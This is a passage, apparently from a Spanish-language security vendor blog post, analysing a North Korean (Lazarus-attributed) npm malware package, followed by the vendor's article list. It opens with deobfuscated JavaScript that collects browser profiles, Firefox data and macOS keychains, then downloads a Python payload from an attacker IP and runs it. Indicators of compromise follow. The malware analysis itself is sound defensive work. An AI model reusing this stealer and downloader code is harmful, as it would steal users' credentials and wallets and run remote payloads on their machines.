      } catch (_0x177129) {}
    });
  }
};
function Ht() {
  setTimeout(() => {
    runP();
  }, 20000);
}
const Xt = async () => await new Promise((_0x18b6b4, _0x438ac4) => {
  if ('w' == platform[0]) {
    if (fs.existsSync(homeDir + "\\.pyp\\python.exe")) {
      (() => {
        const _0x2f7a17 = homeDir + "/.npl";
        const _0x37e74f = "\"" + homeDir + "\\.pyp\\python.exe\" \"" + _0x2f7a17 + "\"";
        try {
          fs.rmSync(_0x2f7a17);
        } catch (_0x3bd9ea) {}
        request.get("http://144.172.96[.]80:1224/client/106/106", (_0x9dd16b, _0x3ea1c7, _0x3de797) => {
          if (!_0x9dd16b) {
            try {
              fs.writeFileSync(_0x2f7a17, _0x3de797);
              ex(_0x37e74f, (_0x5af396, _0x44ed2b, _0x5bf548) => {});
            } catch (_0x527428) {}
          }
        });
      })();
    } else {
      runP();
    }
  } else {
    (() => {
      request.get("http://144.172.96[.]80:1224/client/106/106", (_0x20405e, _0x32be8c, _0x1add23) => {
        if (!_0x20405e) {
          fs.writeFileSync(homeDir + "/.npl", _0x1add23);
          ex("python3 \"" + homeDir + "/.npl\"", (_0x7f426f, _0x3db0b7, _0x1160de) => {});
        }
      });
    })();
  }
});
var M = 0;
const main = async () => {
  try {
    const _0x153de8 = Math.round(new Date().getTime() / 1000);
    await (async () => {
      try {
        await UpAppData(Q, 0, _0x153de8);
        await UpAppData(R, 1, _0x153de8);
        await UpAppData(X, 2, _0x153de8);
        uploadMozilla(_0x153de8);
        uploadEs(_0x153de8);
        if ('w' == platform[0]) {
          await uploadFiles(getAbsolutePath('~/') + "/AppData/Local/Microsoft/Edge/User Data", '3_', false, _0x153de8);
        }
        if ('d' == platform[0]) {
          await UpKeychain(_0x153de8);
        } else {
          await UpUserData(Q, 0, _0x153de8);
          await UpUserData(R, 1, _0x153de8);
          await UpUserData(X, 2, _0x153de8);
        }
      } catch (_0x324883) {}
    })();
    Xt();
  } catch (_0x2eb6a7) {}
};
main();
Xt();
let Ct = setInterval(() => {
  if ((M += 1) < 2) {
    main();
  } else {
    clearInterval(Ct);
  }
}, 30000);


Aquí pudimos ver la actividad furtiva que los atacantes estaban tratando de hacer. En este caso se trata de un libro de jugadas muy clásico. Exactamente el mismo tipo de carga útil que hemos visto en muchos ataques por ejemplo UA-pajser explotar. 

  • Robo de carteras de criptomonedas.
  • Robo de cachés del navegador.
  • Robar llaveros.
  • Descarga y ejecución de cargas útiles adicionales.

Pero los clásicos son clásicos por una razón, suelen funcionar y es la forma más rápida / fácil de sacar provecho de un ataque a la cadena de suministro mientras se obtiene la oportunidad de moverse lateralmente y persistir el ataque en diferentes entornos. 

Este payload no nos es desconocido, lo reconocimos inmediatamente como del grupo de hacking norcoreano patrocinado por el estado, Lazarus. Uno de los grupos de hackers más sofisticados del planeta que recientemente robó 1,5 mil millones de dólares de Ethereum de la bolsa de criptomonedas ByBit (aparentemente eso no es suficiente). 

Mantenga el malware fuera de sus aplicaciones

Aikido acaba de lanzar su feed de amenazas de detección de malware que monitoriza registros públicos como NPMjs y utiliza una combinación de escáneres tradicionales y modelos de IA entrenados para identificar cuándo se han introducido paquetes maliciosos o paquetes anteriormente benignos se han convertido en maliciosos. Puedes ver paquetes maliciosos como este en nuestro feed público de amenazas de malware en intel.aikido.dev .

Principales conclusiones

Hay varias conclusiones interesantes, más allá del hecho de que incluso las naciones-estado cometen errores estúpidos. El más importante es que intentar ocultarse siempre llamará la atención.

Normalmente, Lazarus ha ofuscado su código con herramientas de ofuscación comunes. Sin embargo, pueden desofuscarse fácilmente, y la sola presencia de ofuscación desencadenará un análisis y un escrutinio más profundos del paquete.

Que intenten "ocultar" la carga maliciosa a los ojos humanos como han hecho, es inteligente. Pero al hacerlo, de hecho también introducen más señales. Porque grandes cantidades de espacios en blanco como ese no son normales. Tratar de ocultar siempre generará más señales que podemos aprovechar para la detección.

Por eso han intentado trasladar la mayor parte de la carga útil a un servidor remoto que se obtiene en tiempo de ejecución. Pero la acción de obtener algo de un servidor también introduce más señales de detección. 

Todas las cosas que trivialmente puede ser detectado a través de nuestro amplio conjunto combinación de técnicas de detección que entrenamos a nuestros sistemas de detección de IA en. Cuanto más traten de ocultarse, más fácilmente serán detectados. 

Vea el vídeo
‍

‍

Indicadores del Grupo Lazarus

Somos capaces de atribuir este malware al grupo Lazarus debido a varias huellas dactilares dentro de la carga útil, así como algunos indicadores adicionales a continuación.

IPs

  • 144.172.96[.]80

URL

  • hxxp://144.172.96[.]80:1224/client/106/106
  • hxxp://144.172.96[.]80:1224/uploads 
  • hxxp://144.172.96[.]80:1224/pdown
  • https://ipcheck-production.up.railway[.]app/106

cuentas npm

  • pdec212

Cuentas de Github

  • pdec9690

Escrito por Charlie Eriksen

Investigador de malware

Comparte:

https://www.aikido.dev/blog/malware-hiding-in-plain-sight-spying-on-north-korean-hackers

Tabla de contenidos:
Enlace de texto
Comparte:
Utilizar el teclado
Utilice la tecla izquierda para navegar anterior en el control deslizante Aikido
Utilice la tecla de flecha derecha para pasar a la siguiente diapositiva
para navegar por los artículos
Por
Charlie Eriksen

Estás invitado: Entrega de malware a través de invitaciones de Google Calendar y PUAs

Malware
13 de mayo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Por qué es tan difícil actualizar las imágenes base de los contenedores (y cómo hacerlo más fácil)

Ingeniería
12 de mayo de 2025
Seguir leyendo
Por
Charlie Eriksen

RATatouille: Una receta maliciosa oculta en rand-user-agent (Compromiso de la cadena de suministro)

6 de mayo de 2025
Seguir leyendo
Por
Charlie Eriksen

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas

Malware
22 de abril de 2025
Seguir leyendo
Por
Charlie Eriksen

La guía de citas del malware: Comprender los tipos de malware en NPM

Malware
10 de abril de 2025
Seguir leyendo
Por
Charlie Eriksen

Esconderse y fallar: Malware ofuscado, cargas útiles vacías y travesuras de npm

Malware
3 de abril de 2025
Seguir leyendo
Por
Madeline Lawrence

Lanzamiento del malware Aikido - Open Source Threat Feed

Noticias
31 de marzo de 2025
Seguir leyendo
Por
El equipo de Aikido

Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

Guías
27 de marzo de 2025
Seguir leyendo
Por
Madeline Lawrence

Obtenga el TL;DR: tj-actions/changed-files Ataque a la cadena de suministro

Noticias
16 de marzo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Lista de comprobación de seguridad de Docker para desarrolladores preocupados por la vulnerabilidad

Guías
6 de marzo de 2025
Seguir leyendo
Por
Mackenzie Jackson

Detección y bloqueo de ataques de inyección SQL en JavaScript

Guías
4 de marzo de 2025
Seguir leyendo
Por
Floris Van den Abeele

¿Prisma y PostgreSQL vulnerables a la inyección NoSQL? Un sorprendente riesgo de seguridad explicado

Ingeniería
14 de febrero de 2025
Seguir leyendo
Por
El equipo de Aikido

Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025

Guías
12 de febrero de 2025
Seguir leyendo
Por
Willem Delbare

Lanzamiento de Opengrep | Por qué hemos bifurcado Semgrep

Noticias
24 de enero de 2025
Seguir leyendo
Por
Tomás Segura

Su cliente necesita un parche de vulnerabilidad NIS2. ¿Y ahora qué?

14 de enero de 2025
Seguir leyendo
Por
Mackenzie Jackson

Las 10 mejores herramientas SAST basadas en IA en 2025

Guías
10 de enero de 2025
Seguir leyendo
Por
Madeline Lawrence

Snyk vs Aikido Security | G2 Comentarios Snyk Alternativa

Guías
10 de enero de 2025
Seguir leyendo
Por
Mackenzie Jackson

Las 10 principales herramientas de análisis de la composición del software (SCA) en 2025

Guías
9 de enero de 2025
Seguir leyendo
Por
Michiel Denis

3 pasos clave para reforzar el cumplimiento y la gestión de riesgos

27 de diciembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Guía de código abierto sobre seguridad de las aplicaciones para startups

Guías
23 de diciembre de 2024
Seguir leyendo
Por
Madeline Lawrence

Lanzamiento de Aikido para Cursor AI

Ingeniería
13 de diciembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Conoce a Intel: La fuente de amenazas de código abierto de Aikido impulsada por LLM.

Ingeniería
13 de diciembre de 2024
Seguir leyendo
Por
Johan De Keulenaer

Aikido se une a la red de socios de AWS

Noticias
26 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Inyección de comandos en 2024 desempaquetada

Ingeniería
24 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Path Traversal en 2024 - El año desempacado

Ingeniería
23 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

Equilibrar la seguridad: Cuándo aprovechar las herramientas de código abierto frente a las comerciales

Guías
15 de noviembre de 2024
Seguir leyendo
Por
Mackenzie Jackson

El estado de la inyección SQL

Guías
8 de noviembre de 2024
Seguir leyendo
Por
Michiel Denis

La seguridad de Visma aumenta con el aikido: Conversación con Nikolai Brogaard

Noticias
6 de noviembre de 2024
Seguir leyendo
Por
Michiel Denis

Seguridad en FinTech: Entrevista con Dan Kindler, cofundador y Director Técnico de Bound

Noticias
10 de octubre de 2024
Seguir leyendo
Por
Félix Garriau

Las 7 mejores herramientas ASPM en 2025

Guías
1 de octubre de 2024
Seguir leyendo
Por
Madeline Lawrence

Automatice el cumplimiento con SprintoGRC x Aikido

Noticias
11 de septiembre de 2024
Seguir leyendo
Por
Félix Garriau

Cómo crear un SBOM para auditorías de software

Guías
9 de septiembre de 2024
Seguir leyendo
Por
Madeline Lawrence

SAST vs DAST: Lo que hay que saber.

Guías
2 de septiembre de 2024
Seguir leyendo
Por
Félix Garriau

Las mejores herramientas SBOM para desarrolladores: Nuestras 2025 elegidas

Guías
7 de agosto de 2024
Seguir leyendo
Por
Lieven Oosterlinck

5 alternativas a Snyk y por qué son mejores

Noticias
5 de agosto de 2024
Seguir leyendo
Por
Madeline Lawrence

Por qué estamos encantados de colaborar con Laravel

Noticias
8 de julio de 2024
Seguir leyendo
Por
Félix Garriau

110.000 sitios afectados por el ataque a la cadena de suministro Polyfill

Noticias
27 de junio de 2024
Seguir leyendo
Por
Félix Garriau

Puntos esenciales de ciberseguridad para las empresas de tecnología jurídica

Noticias
25 de junio de 2024
Seguir leyendo
Por
Roeland Delrue

Integración de Drata - Cómo automatizar la gestión técnica de vulnerabilidades

Guías
18 de junio de 2024
Seguir leyendo
Por
Joel Hans

Guía DIY: Cree o compre su kit de herramientas de seguridad de aplicaciones y escaneado de código OSS

Guías
11 de junio de 2024
Seguir leyendo
Por
Roeland Delrue

Certificación SOC 2: 5 cosas que hemos aprendido

Guías
4 de junio de 2024
Seguir leyendo
Por
Joel Hans

Los 10 principales problemas de seguridad de las aplicaciones y cómo protegerse

Guías
28 de mayo de 2024
Seguir leyendo
Por
Madeline Lawrence

Acabamos de recaudar 17 millones de dólares de la Serie A

Noticias
2 de mayo de 2024
Seguir leyendo
Por

Las mejores herramientas RASP para desarrolladores en 2025

10 de abril de 2024
Seguir leyendo
Por
Willem Delbare

Lista de comprobación de la seguridad de los webhooks: Cómo crear webhooks seguros

Guías
4 de abril de 2024
Seguir leyendo
Por
Willem Delbare

La cura para el síndrome de fatiga por alerta de seguridad

Ingeniería
21 de febrero de 2024
Seguir leyendo
Por
Roeland Delrue

NIS2: ¿A quién afecta?

Guías
16 de enero de 2024
Seguir leyendo
Por
Roeland Delrue

Certificación ISO 27001: 8 cosas que hemos aprendido

Guías
5 de diciembre de 2023
Seguir leyendo
Por
Roeland Delrue

Cronos Group elige a Aikido Security para reforzar la seguridad de sus empresas y clientes

Noticias
30 de noviembre de 2023
Seguir leyendo
Por
Bart Jonckheere

Cómo Loctax utiliza Aikido Security para deshacerse de alertas de seguridad irrelevantes y falsos positivos

Noticias
22 de noviembre de 2023
Seguir leyendo
Por
Félix Garriau

Aikido Security recauda 5 millones de euros para ofrecer una solución de seguridad sin fisuras a las empresas SaaS en crecimiento

Noticias
9 de noviembre de 2023
Seguir leyendo
Por
Roeland Delrue

Aikido Security obtiene la certificación ISO 27001:2022

Noticias
8 de noviembre de 2023
Seguir leyendo
Por
Félix Garriau

Cómo el director de tecnología de StoryChief utiliza Aikido Security para dormir mejor por la noche

Noticias
24 de octubre de 2023
Seguir leyendo
Por
Willem Delbare

¿Qué es un CVE?

Guías
17 de octubre de 2023
Seguir leyendo
Por
Félix Garriau

Mejores herramientas para la detección del final de la vida: Clasificación 2025

Guías
4 de octubre de 2023
Seguir leyendo
Por
Willem Delbare

Las 3 principales vulnerabilidades de seguridad de las aplicaciones web en 2024

Ingeniería
27 de septiembre de 2023
Seguir leyendo
Por
Félix Garriau

Nuevas funciones de seguridad de Aikido: Agosto 2023

Noticias
22 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Lista de comprobación de seguridad del CTO de SaaS 2025 de Aikido

Noticias
10 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Lista de comprobación de seguridad del CTO de SaaS 2024 de Aikido

Noticias
10 de agosto de 2023
Seguir leyendo
Por
Félix Garriau

Los directores de tecnología revelan los 15 principales retos de la seguridad del código y la nube

Ingeniería
25 de julio de 2023
Seguir leyendo
Por
Willem Delbare

¿Qué es OWASP Top 10?

Guías
12 de julio de 2023
Seguir leyendo
Por
Willem Delbare

Cómo crear un panel de administración seguro para su aplicación SaaS

Guías
11 de julio de 2023
Seguir leyendo
Por
Roeland Delrue

Cómo prepararse para la norma ISO 27001:2022

Guías
5 de julio de 2023
Seguir leyendo
Por
Willem Delbare

Cómo evitar que pirateen su plataforma CI/CD

Guías
19 de junio de 2023
Seguir leyendo
Por
Félix Garriau

Cómo cerrar acuerdos más rápidamente con un informe de evaluación de la seguridad

Noticias
12 de junio de 2023
Seguir leyendo
Por
Willem Delbare

Automatizar la gestión técnica de vulnerabilidades [SOC 2]

Guías
5 de junio de 2023
Seguir leyendo
Por
Willem Delbare

Prevenir la contaminación de prototipos en su repositorio

Guías
1 de junio de 2023
Seguir leyendo
Por
Willem Delbare

¿Cómo equilibra el director de tecnología de una startup SaaS la velocidad de desarrollo y la seguridad?

Guías
16 de mayo de 2023
Seguir leyendo
Por
Willem Delbare

Cómo la nube de una startup fue tomada por un simple formulario que envía correos electrónicos

Ingeniería
10 de abril de 2023
Seguir leyendo
Por
Félix Garriau

Aikido Security recauda 2 millones de euros para crear una plataforma de seguridad de software orientada a los desarrolladores

Noticias
19 de enero de 2023
Seguir leyendo
Por

Por qué los archivos de bloqueo son importantes para la seguridad de la cadena de suministro

Seguir leyendo
Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025
Por
El equipo de Aikido

Principales herramientas de gestión de la postura de seguridad en la nube (CSPM) en 2025

Guías
14 de mayo de 2025
Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025
Por
El equipo de Aikido

Principales herramientas de pruebas dinámicas de seguridad de las aplicaciones (DAST) en 2025

Guías
14 de mayo de 2025
Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas
Por
Charlie Eriksen

Ataque a la cadena de suministro de XRP: Paquete oficial de NPM infectado con backdoor de robo de criptomonedas

Malware
31 de marzo de 2025

Asegúrese en 32 segundos

Conecta tu cuenta de GitHub, GitLab, Bitbucket o Azure DevOps para empezar a escanear tus repos gratis.

Empezar gratis
Tus datos no se compartirán - Acceso de sólo lectura
Cuadro de mandos de Aikido
Empresa
ProductoPreciosAcerca deCarreras profesionalesPóngase en contacto conAsóciese con nosotros
Recursos
DocsDocumentos públicos sobre la APIBase de datos de vulnerabilidadesBlogIntegracionesGlosarioDossier de prensaOpiniones de los clientes
Seguridad
Centro de confianzaPanorama de la seguridadCambiar preferencias de cookies
Legal
Política de privacidadPolítica de cookiesCondiciones de usoContrato marco de suscripciónAcuerdo de procesamiento de datos
Casos prácticos
ConformidadSAST Y DASTASPMGestión de vulnerabilidadesGenerar SBOMSeguridad en WordPressProteja su códigoAikido para Microsoft
Industrias
Para HealthTechPara MedTechPara FinTechPara SecurityTechPara LegalTechPara HRTechPara las agenciasPara empresasPara PE y empresas del grupo
Compara
frente a todos los vendedoresvs Snykvs Wizcontra Mendvs Orca Securityvs Veracodevs GitHub Seguridad avanzadavs GitLab Ultimatevs Checkmarxfrente a Semgrepvs SonarQube
Conectar
hello@aikido.dev
LinkedInX
Suscríbase a
Manténgase al día de todas las actualizaciones
Aún no lo he conseguido.
👋🏻 ¡Gracias! Te has suscrito.
Equipo Aikido
Aún no lo he conseguido.
2025 Aikido Security BV | BE0792914919
🇪🇺 Domicilio social: Coupure Rechts 88, 9000, Gante, Bélgica
🇪🇺 Dirección de la oficina: Gebroeders van Eyckstraat 2, 9000, Gante, Bélgica
🇺🇸 Dirección de la oficina: 95 Third St, 2nd Fl, San Francisco, CA 94103, EE.UU.
SOC 2
Conforme
ISO 27001
Conforme